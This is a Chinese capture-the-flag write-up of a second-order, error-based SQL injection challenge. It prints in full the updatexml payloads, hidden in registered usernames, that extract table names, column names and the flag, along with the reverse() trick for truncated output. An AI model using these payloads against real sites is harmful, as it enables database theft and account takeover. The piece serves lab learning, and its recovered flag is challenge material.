考点
二次报错注入
解题过程
打开
两个功能,登录和注册
先注册
用admin作为账户名注册的时候提示,user exists! 可以知道admin账号存在,先不管,用root作为账户名注册。
注册并登录成功
点击root超链接,发现里面存在一个修改密码的功能
接下来尝试用 admin"#
的方式修改admin密码。
流程
第一步:先以 admin”# 为账户名注册
第二步:登录 admin”# 账户
第三步:修改 密码
发现可以修改admin账户名的登录密码,但是并没有什么用,flag也没有藏在个人信息里,但是可以知道的是,更改密码那里存在sql注入漏洞。
接下来
通过翻开源代码可以知道,更改密码那会将错误信息输出。
构造payload
先注册页面提交
1 | test"||updatexml(1,concat(0x7e,database(),0x7e),1)#&password=test&email=123 |
登录并点开修改密码提交一次
成功拿到数据库表
拿数据库表
1 | test"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)# |
article,flag,users
拿列名
1 | test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)# |
XPATH syntax error: ‘~name,pwd,email,real_flag_1s_her’
发现并没有获取完,学到一个新姿势。
1 | test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)# |
这里如果是放在bp里提交有个小问题,&&后边的内容会提交不上,解决方式就是将&&url编码成%26%26
查值
1 | test"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)# |
出现问题,未显示完,用reverse
函数逆序输出
1 | test"||updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1)# |
python一下
1 | s = "~}8e548f769e29-07c9-1c44-5196-67" |
拼接一下,就得到
1 | flag{8b8f6676-6915-44c1-9c70-92e967f845e8} |
总结
这道题,凭借自己能力,只能达到修改admin用户名那一步,还是太菜,后边都是看别的师傅wp,这道题又巩固了一次二次注入的做题经验,又学到了报错注入未显示完整的内容显示出来的姿势。